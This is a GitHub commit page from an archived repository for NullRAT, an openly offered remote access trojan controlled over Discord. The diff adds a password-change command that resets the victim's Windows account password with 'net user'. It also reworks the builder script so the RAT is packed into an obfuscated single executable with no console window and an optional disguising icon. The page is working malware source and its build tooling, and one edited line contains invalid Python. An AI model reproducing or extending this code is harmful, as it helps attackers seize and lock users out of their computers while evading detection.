Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit da899c4

Browse files
committed
Fix pyarmor logic and source bug
1 parent 6da4b87 commit da899c4

3 files changed

Lines changed: 21 additions & 12 deletions

File tree

NullRAT/RAT.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -164,6 +164,7 @@ async def second_button_callback(self, button, interaction):
164164
#> Extensions
165165

166166
extensions = (
167+
"ChangePass", # /changepass
167168
"hideFile", # /hidefile
168169
"unhideFile", # /unhidefile
169170
"wifiList", # /wifilist
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ async def changepass(self, ctx, victim, password):
2222
if str(victim) == str(self.bot.identifier) or str(victim).lower() == "all":
2323
# Admin detection, this command will not work for regular users (apparently)
2424
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
25-
if !is_admin:
25+
if is_admin == false:
2626
return await ctx.followup.send("NullRAT is not running as admin. Operation aborted")
2727

2828
status = os.popen(r"net user %username% " + password).read()

compiler.nim

Lines changed: 19 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -227,26 +227,34 @@ proc compiler(): int =
227227
modules.add($path.path.split("\\")[^1])
228228

229229
var pyinst_cmd = pyinst & " --onefile --noconsole --hidden-import mss"
230-
var pyarmor_cmd = armor & fmt" pack --clean -e "" --onefile --noconsole --hidden-import mss"""
231230

232-
var dat: string = fmt" --add-data ""Variables.py;."""
231+
var dat: string = fmt" --add-data 'Variables.py;.'"
233232
pyinst_cmd.add(dat)
234-
for m in modules:
235-
dat = fmt" --add-data ""{m};."""
236-
pyinst_cmd.add(dat)
237233

234+
var pyarmor_cmd: string
238235
if icon:
239236
if obfuscate:
240-
pyarmor_cmd = armor & fmt" pack --clean -e "" --onefile --noconsole --icon=custom_icon.ico --hidden-import mss"""
237+
pyarmor_cmd = armor & fmt" pack --clean -e "" --onefile --noconsole --icon=custom_icon.ico --hidden-import mss {dat}"""
241238
else:
242239
pyinst_cmd = pyinst_cmd & " --icon=custom_icon.ico"
243-
240+
pyarmor_cmd = armor & fmt" pack --clean -e "" --onefile --noconsole --hidden-import mss {dat}"
244241
moveFile(currdir / "RAT.py", currdir / "765678976567.py")
242+
pyarmor_cmd.add(dat)
243+
244+
for m in modules:
245+
dat = fmt" --add-data '{m};.'"
246+
pyinst_cmd.add(dat)
247+
pyarmor_cmd.add(dat)
248+
245249
pyinst_cmd.add(" 765678976567.py")
250+
pyarmor_cmd.add("""" 765678976567.py""")
246251

247-
echo pyinst_cmd
248-
if obfuscate: discard execShellCmd(pyarmor_cmd)
249-
else: discard execShellCmd(pyinst_cmd)
252+
if obfuscate:
253+
echo pyarmor_cmd
254+
discard execShellCmd(pyarmor_cmd)
255+
else:
256+
echo pyinst_cmd
257+
discard execShellCmd(pyinst_cmd)
250258

251259
var name = $rand(6969) & ".exe"
252260
if fileExists(currdir / "dist" / "765678976567.exe"):
@@ -256,7 +264,7 @@ proc compiler(): int =
256264

257265
stdout.styledWriteLine(fgGreen, {styleBright}, "Build Successful! Output in " & name)
258266
discard getch()
259-
quit(0)
267+
quit(0)
260268

261269
proc variablesCreator(x: int) =
262270
printName()

0 commit comments

Comments
 (0)